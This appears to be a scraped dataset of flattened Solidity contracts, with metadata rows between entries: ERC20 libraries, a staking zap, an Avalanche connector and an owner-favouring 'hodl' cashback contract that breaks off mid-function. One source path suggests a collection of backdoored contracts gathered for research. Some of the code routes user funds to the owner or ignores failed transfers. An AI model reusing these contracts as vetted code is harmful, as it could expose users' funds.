"Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: SafeERC20.sol
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value,
"SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1,
"SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data,
"SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: ERC20.sol
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address to, uint256 amount)
public
virtual
override
returns (bool)
{
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount,
"ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount,
"ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File: StakingRewardsZap.sol
interface IVault is IERC20 {
function token() external view returns (address);
function deposit() external;
}
interface IStakingRewards {
function stakeFor(address recipient, uint256 amount) external;
}
interface IRegistry {
function stakingPool(address vault) external view returns (address);
}
contract StakingRewardsZap is Ownable {
using SafeERC20 for IERC20;
/// @notice Address of our staking pool registry.
address public stakingPoolRegistry;
event ZapIn(address indexed user,
address indexed targetVault,
uint256 amount);
event UpdatedPoolRegistry(address registry);
event Recovered(address token, uint256 amount);
constructor(address _stakingPoolRegistry) {
stakingPoolRegistry = _stakingPoolRegistry;
}
function zapIn(address _targetVault, uint256 _underlyingAmount)
external
returns (uint256)
{
// get our underlying token
IVault targetVault = IVault(_targetVault);
IERC20 underlying = IERC20(targetVault.token());
// transfer to zap and deposit underlying to vault, but first check our approvals
_checkAllowance(_targetVault, address(underlying), _underlyingAmount);
underlying.transferFrom(msg.sender, address(this), _underlyingAmount);
targetVault.deposit();
// read staking contract from registry, then deposit to that staking contract
uint256 toStake = targetVault.balanceOf(address(this));
// get our staking pool from our registry for this vault token
IRegistry poolRegistry = IRegistry(stakingPoolRegistry);
// check what our address is, make sure it's not zero
address _vaultStakingPool = poolRegistry.stakingPool(_targetVault);
require(_vaultStakingPool != address(0), "staking pool doesn't exist");
IStakingRewards vaultStakingPool = IStakingRewards(_vaultStakingPool);
// make sure we have approved the staking pool, as they can be added/updated at any time
_checkAllowance(_vaultStakingPool, _targetVault, toStake);
// stake for our user, return the amount we staked
vaultStakingPool.stakeFor(msg.sender, toStake);
emit ZapIn(msg.sender, address(targetVault), toStake);
return toStake;
}
function _checkAllowance(address _contract,
address _token,
uint256 _amount) internal {
if (IERC20(_token).allowance(address(this), _contract) < _amount) {
IERC20(_token).safeApprove(_contract, 0);
IERC20(_token).safeApprove(_contract, type(uint256).max);
}
}
/// @notice Use this in case someone accidentally sends tokens here.
function recoverERC20(address tokenAddress, uint256 tokenAmount)
external
onlyOwner
{
IERC20(tokenAddress).safeTransfer(owner(), tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setPoolRegistry(address _stakingPoolRegistry) external onlyOwner {
stakingPoolRegistry = _stakingPoolRegistry;
emit UpdatedPoolRegistry(_stakingPoolRegistry);
}
}
| 153,961 | 12,071 |
a4b6b096675f93166b6e2e7cc87882248d8c77b50f31b7f135fd52a7dfa97ffd
| 30,181 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2a/2A00684bFAb9717C21271E0751BCcb7d2D763c88_ConnectV2BasicAvalanche.sol
| 4,442 | 16,192 |
// Sources flattened with hardhat v2.6.7 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/[emailprotected]
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/utils/[emailprotected]
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/avalanche/common/math.sol
contract DSMath {
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function add(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(x, y);
}
function sub(uint x, uint y) internal virtual pure returns (uint z) {
z = SafeMath.sub(x, y);
}
function mul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.mul(x, y);
}
function div(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.div(x, y);
}
function wmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), WAD / 2) / WAD;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, RAY), y / 2) / y;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = SafeMath.add(SafeMath.mul(x, y), RAY / 2) / RAY;
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = mul(wad, 10 ** 27);
}
}
// File contracts/avalanche/common/interfaces.sol
interface TokenInterface {
function approve(address, uint256) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
function deposit() external payable;
function withdraw(uint) external;
function balanceOf(address) external view returns (uint);
function decimals() external view returns (uint);
}
interface MemoryInterface {
function getUint(uint id) external returns (uint num);
function setUint(uint id, uint val) external;
}
interface AccountInterface {
function enable(address) external;
function disable(address) external;
function isAuth(address) external view returns (bool);
}
// File contracts/avalanche/common/stores.sol
abstract contract Stores {
address constant internal avaxAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address constant internal wavaxAddr = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
MemoryInterface constant internal instaMemory = MemoryInterface(0x3254Ce8f5b1c82431B8f21Df01918342215825C2);
function getUint(uint getId, uint val) internal returns (uint returnVal) {
returnVal = getId == 0 ? val : instaMemory.getUint(getId);
}
function setUint(uint setId, uint val) virtual internal {
if (setId != 0) instaMemory.setUint(setId, val);
}
}
// File contracts/avalanche/common/basic.sol
abstract contract Basic is DSMath, Stores {
function convert18ToDec(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = (_amt / 10 ** (18 - _dec));
}
function convertTo18(uint _dec, uint256 _amt) internal pure returns (uint256 amt) {
amt = mul(_amt, 10 ** (18 - _dec));
}
function getTokenBal(TokenInterface token) internal view returns(uint _amt) {
_amt = address(token) == avaxAddr ? address(this).balance : token.balanceOf(address(this));
}
function getTokensDec(TokenInterface buyAddr, TokenInterface sellAddr) internal view returns(uint buyDec, uint sellDec) {
buyDec = address(buyAddr) == avaxAddr ? 18 : buyAddr.decimals();
sellDec = address(sellAddr) == avaxAddr ? 18 : sellAddr.decimals();
}
function encodeEvent(string memory eventName, bytes memory eventParam) internal pure returns (bytes memory) {
return abi.encode(eventName, eventParam);
}
function approve(TokenInterface token, address spender, uint256 amount) internal {
try token.approve(spender, amount) {
} catch {
token.approve(spender, 0);
token.approve(spender, amount);
}
}
function changeAvaxAddress(address buy, address sell) internal pure returns(TokenInterface _buy, TokenInterface _sell){
_buy = buy == avaxAddr ? TokenInterface(wavaxAddr) : TokenInterface(buy);
_sell = sell == avaxAddr ? TokenInterface(wavaxAddr) : TokenInterface(sell);
}
function convertAvaxToWavax(bool isAvax, TokenInterface token, uint amount) internal {
if(isAvax) token.deposit{value: amount}();
}
function convertWavaxToAvax(bool isAvax, TokenInterface token, uint amount) internal {
if(isAvax) {
approve(token, address(token), amount);
token.withdraw(amount);
}
}
}
// File contracts/avalanche/connectors/basic/events.sol
contract Events {
event LogDeposit(address indexed erc20, uint256 tokenAmt, uint256 getId, uint256 setId);
event LogWithdraw(address indexed erc20, uint256 tokenAmt, address indexed to, uint256 getId, uint256 setId);
}
// File contracts/avalanche/connectors/basic/main.sol
abstract contract BasicResolver is Events, DSMath, Basic {
using SafeERC20 for IERC20;
function deposit(address token,
uint256 amt,
uint256 getId,
uint256 setId) public payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
if (token != avaxAddr) {
IERC20 tokenContract = IERC20(token);
_amt = _amt == uint(-1) ? tokenContract.balanceOf(msg.sender) : _amt;
tokenContract.safeTransferFrom(msg.sender, address(this), _amt);
} else {
require(msg.value == _amt || _amt == uint(-1), "invalid-ether-amount");
_amt = msg.value;
}
setUint(setId, _amt);
_eventName = "LogDeposit(address,uint256,uint256,uint256)";
_eventParam = abi.encode(token, _amt, getId, setId);
}
function withdraw(address token,
uint amt,
address payable to,
uint getId,
uint setId) public payable returns (string memory _eventName, bytes memory _eventParam) {
uint _amt = getUint(getId, amt);
if (token == avaxAddr) {
_amt = _amt == uint(-1) ? address(this).balance : _amt;
to.call{value: _amt}("");
} else {
IERC20 tokenContract = IERC20(token);
_amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt;
tokenContract.safeTransfer(to, _amt);
}
setUint(setId, _amt);
_eventName = "LogWithdraw(address,uint256,address,uint256,uint256)";
_eventParam = abi.encode(token, _amt, to, getId, setId);
}
}
contract ConnectV2BasicAvalanche is BasicResolver {
string constant public name = "Basic-v1";
}
| 77,772 | 12,072 |
7c5d9344ef62396da3fb525501fee2ff1482e71f4d880045ddcf48c4504e981b
| 18,400 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x46b87b5182333685813cb50f918c4c0a065824a7.sol
| 5,267 | 17,205 |
pragma solidity ^0.4.25;
////// Version 6.1 //////
// Contract 01
contract EthereumSmartContract {
address oooooo;
constructor() public {
oooooo = msg.sender;
}
modifier restricted() {
require(msg.sender == oooooo);
_;
}
function ooooooo() public view returns (address ooooo) {
return oooooo;
}
}
// Contract 02
contract ldoh is EthereumSmartContract {
// Event
event onAddContractAddress(address indexed contracthodler, bool contractstatus, uint256 _maxcontribution);
event onCashbackCode(address indexed hodler, address cashbackcode);
event onHodlTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onClaimTokens(address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime);
event onReturnAll(uint256 returned);
// Variables
address internal ABCDtoken;
// Struct Database
struct Safe {
uint256 id; // 01 -- > Registration Number
uint256 amount; // 02 -- > Total amount of contribution to this transaction
uint256 endtime; // 03 -- > The Expiration Of A Hold Platform Based On Unix Time
address user; // 04 -- > The ETH address that you are using
address tokenAddress; // 05 -- > The Token Contract Address That You Are Using
string tokenSymbol; // 06 -- > The Token Symbol That You Are Using
uint256 amountbalance; // 07 -- > 88% from Contribution / 72% Without Cashback
uint256 cashbackbalance; // 08 -- > 16% from Contribution
uint256 lasttime; // 09 -- > The Last Time You Withdraw Based On Unix Time
uint256 percentage; // 10 -- > The percentage of tokens that are unlocked every month (Default = 3%)
uint256 percentagereceive; // 11 -- > The Percentage You Have Received
uint256 tokenreceive; // 12 -- > The Number Of Tokens You Have Received
uint256 lastwithdraw; // 13 -- > The Last Amount You Withdraw
address referrer; // 14 -- > Your ETH referrer address
}
// Uint256
uint256 public percent = 3; // 01 -- > Monthly Unlock Percentage
uint256 private constant affiliate = 12; // 02 -- > Affiliate Bonus = 12% Of Total Contributions
uint256 private constant cashback = 16; // 03 -- > Cashback Bonus = 16% Of Total Contributions
uint256 private constant nocashback = 28; // 04 -- > Total % loss amount if you don't get cashback
uint256 private constant totalreceive = 88; // 05 -- > The total amount you will receive
uint256 private constant seconds30days = 2592000; // 06 -- > Number Of Seconds In One Month
uint256 private IDNumber; // 07 -- > ID number (Start from 500)
uint256 public TotalUser; // 08 -- > Total Smart Contract User
uint256 public hodlingTime; // 09 -- > Length of hold time in seconds
// Mapping
mapping(address => bool) public contractaddress; // 01 -- > Contract Address
mapping(address => uint256) public maxcontribution; // 02 -- > Maximum Contribution
mapping(address => address) public cashbackcode; // 03 -- > Cashback Code
mapping(address => uint256) public TokenBalance; // 04 -- > Token Balance
mapping(address => uint256) public AllContribution; // 05 -- > Deposit amount for all members
mapping(address => uint256) public AllPayments; // 06 -- > Withdraw amount for all members
mapping(address => uint256[]) public IDAddress; // 07 -- > Search ID by Address
mapping(uint256 => Safe) private _safes; // 08 -- > Struct safe database
mapping(address => uint256) private EthereumVault; // 09 -- > Reserve Funds
// Double Mapping
mapping (address => mapping (address => uint256)) public LifetimeContribution; // 01 -- > Total Deposit Amount Based On Address And Token
mapping (address => mapping (address => uint256)) public Affiliatevault; // 02 -- > Affiliate Balance That Hasn't Been Withdrawn
mapping (address => mapping (address => uint256)) public Affiliateprofit; // 03 -- > The Amount Of Profit As An Affiliate
// Miscellaneous
address[] public _listedReserves; // ?????
//Constructor
constructor() public {
ABCDtoken = 0x8b70a0697F4C2F12De6B65904df0fC8e61547f46;
hodlingTime = 730 days;
IDNumber = 500;
}
////////////////////////////////// Function //////////////////////////////////
// Function 01 - Fallback Function To Receive Donation In Eth
function () public payable {
require(msg.value > 0);
EthereumVault[0x0] = add(EthereumVault[0x0], msg.value);
}
// Function 02 - Contribute (Hodl Platform)
function HodlTokens(address tokenAddress, uint256 amount) public {
require(tokenAddress != 0x0);
require(amount > 0 && amount <= maxcontribution[tokenAddress]);
if (contractaddress[tokenAddress] == false) {
revert();
}
else {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.transferFrom(msg.sender, address(this), amount));
uint256 affiliatecomission = div(mul(amount, affiliate), 100);
uint256 WithoutCashback = div(mul(amount, nocashback), 100);
if (cashbackcode[msg.sender] == 0) {
uint256 data_amountbalance = div(mul(amount, 72), 100);
uint256 data_cashbackbalance = 0;
address data_referrer = oooooo;
cashbackcode[msg.sender] = oooooo;
emit onCashbackCode(msg.sender, oooooo);
EthereumVault[tokenAddress] = add(EthereumVault[tokenAddress], WithoutCashback);
} else {
data_referrer = cashbackcode[msg.sender];
data_amountbalance = sub(amount, affiliatecomission);
data_cashbackbalance = div(mul(amount, cashback), 100);
uint256 referrer_contribution = LifetimeContribution[data_referrer][tokenAddress];
if (referrer_contribution >= amount) {
Affiliatevault[data_referrer][tokenAddress] = add(Affiliatevault[data_referrer][tokenAddress], affiliatecomission);
Affiliateprofit[data_referrer][tokenAddress] = add(Affiliateprofit[data_referrer][tokenAddress], affiliatecomission);
} else {
uint256 Newbie = div(mul(referrer_contribution, affiliate), 100);
Affiliatevault[data_referrer][tokenAddress] = add(Affiliatevault[data_referrer][tokenAddress], Newbie);
Affiliateprofit[data_referrer][tokenAddress] = add(Affiliateprofit[data_referrer][tokenAddress], Newbie);
uint256 data_unusedfunds = sub(affiliatecomission, Newbie);
EthereumVault[tokenAddress] = add(EthereumVault[tokenAddress], data_unusedfunds);
}
}
// Insert to Database
IDAddress[msg.sender].push(IDNumber);
_safes[IDNumber] =
Safe(IDNumber, amount, now + hodlingTime, msg.sender, tokenAddress, token.symbol(), data_amountbalance, data_cashbackbalance, now, percent, 0, 0, 0, data_referrer);
LifetimeContribution[msg.sender][tokenAddress] = add(LifetimeContribution[msg.sender][tokenAddress], amount);
// Update Token Balance, ID Number, Total User
AllContribution[tokenAddress] = add(AllContribution[tokenAddress], amount);
TokenBalance[tokenAddress] = add(TokenBalance[tokenAddress], amount);
IDNumber++;
TotalUser++;
emit onHodlTokens(msg.sender, tokenAddress, token.symbol(), amount, now + hodlingTime);
}
}
// Function 03 - Claim Tokens
function ClaimTokens(address tokenAddress, uint256 id) public {
require(tokenAddress != 0x0);
require(id != 0);
Safe storage s = _safes[id];
require(s.user == msg.sender);
if (s.amountbalance == 0) {
revert();
}
else {
RetireHodl(tokenAddress, id);
}
}
function RetireHodl(address tokenAddress, uint256 id) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
if(s.endtime < now) // Hodl Complete
{
PayToken(s.user, s.tokenAddress, s.amountbalance);
eventAmount = s.amountbalance;
TokenBalance[s.tokenAddress] = sub(TokenBalance[s.tokenAddress], s.amountbalance);
AllPayments[tokenAddress] = add(AllPayments[tokenAddress], s.amountbalance);
s.lastwithdraw = s.amountbalance;
s.amountbalance = 0;
s.lasttime = now;
s.tokenreceive = div(mul(s.amount, totalreceive), 100) ;
s.percentagereceive = mul(mul(88, 100), 100000000000000000000) ;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
else
{
uint256 timeframe = sub(now, s.lasttime);
uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), seconds30days);
// uint256 CalculateWithdraw = s.amount * s.percentage / 100 * timeframe / seconds30days ;
uint256 MaxWithdraw = div(s.amount, 10);
// Maximum withdraw before unlocked, Max 10% Accumulation
if (CalculateWithdraw > MaxWithdraw) {
uint256 MaxAccumulation = MaxWithdraw;
} else { MaxAccumulation = CalculateWithdraw; }
// Maximum withdraw = User Amount Balance
if (MaxAccumulation > s.amountbalance) {
uint256 realAmount = s.amountbalance;
} else { realAmount = MaxAccumulation; }
s.lastwithdraw = realAmount;
AllPayments[tokenAddress] = add(AllPayments[tokenAddress], realAmount);
uint256 newamountbalance = sub(s.amountbalance, realAmount);
UpdateUserData(tokenAddress, id, newamountbalance, realAmount);
}
}
function UpdateUserData(address tokenAddress, uint256 id, uint256 newamountbalance, uint256 realAmount) private {
Safe storage s = _safes[id];
require(s.id != 0);
require(s.tokenAddress == tokenAddress);
uint256 eventAmount;
address eventTokenAddress = s.tokenAddress;
string memory eventTokenSymbol = s.tokenSymbol;
s.amountbalance = newamountbalance;
s.lasttime = now;
uint256 tokenaffiliate = div(mul(s.amount, affiliate), 100) ;
uint256 maxcashback = div(mul(s.amount, cashback), 100) ;
uint256 tokenreceived = sub(add(sub(sub(s.amount, tokenaffiliate), newamountbalance), s.cashbackbalance), maxcashback) ;
// Cashback = 100 - 12 - 88 + 16 - 16 = 0 ----> WithoutCashback = 100 - 12 - 72 + 0 - 16 = 1
uint256 percentagereceived = mul(div(tokenreceived, s.amount), 100000000000000000000) ;
s.tokenreceive = tokenreceived;
s.percentagereceive = percentagereceived;
TokenBalance[s.tokenAddress] = sub(TokenBalance[s.tokenAddress], realAmount);
PayToken(s.user, s.tokenAddress, realAmount);
eventAmount = realAmount;
emit onClaimTokens(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now);
}
function PayToken(address user, address tokenAddress, uint256 amount) private {
ERC20Interface token = ERC20Interface(tokenAddress);
require(token.balanceOf(address(this)) >= amount);
token.transfer(user, amount);
}
// Function 04 - Get How Many Contribute ?
function TotalContribution(address hodler) public view returns (uint256 length) {
return IDAddress[hodler].length;
}
// Function 05 - Get Data Values
function GetSafe(uint256 _id) public view
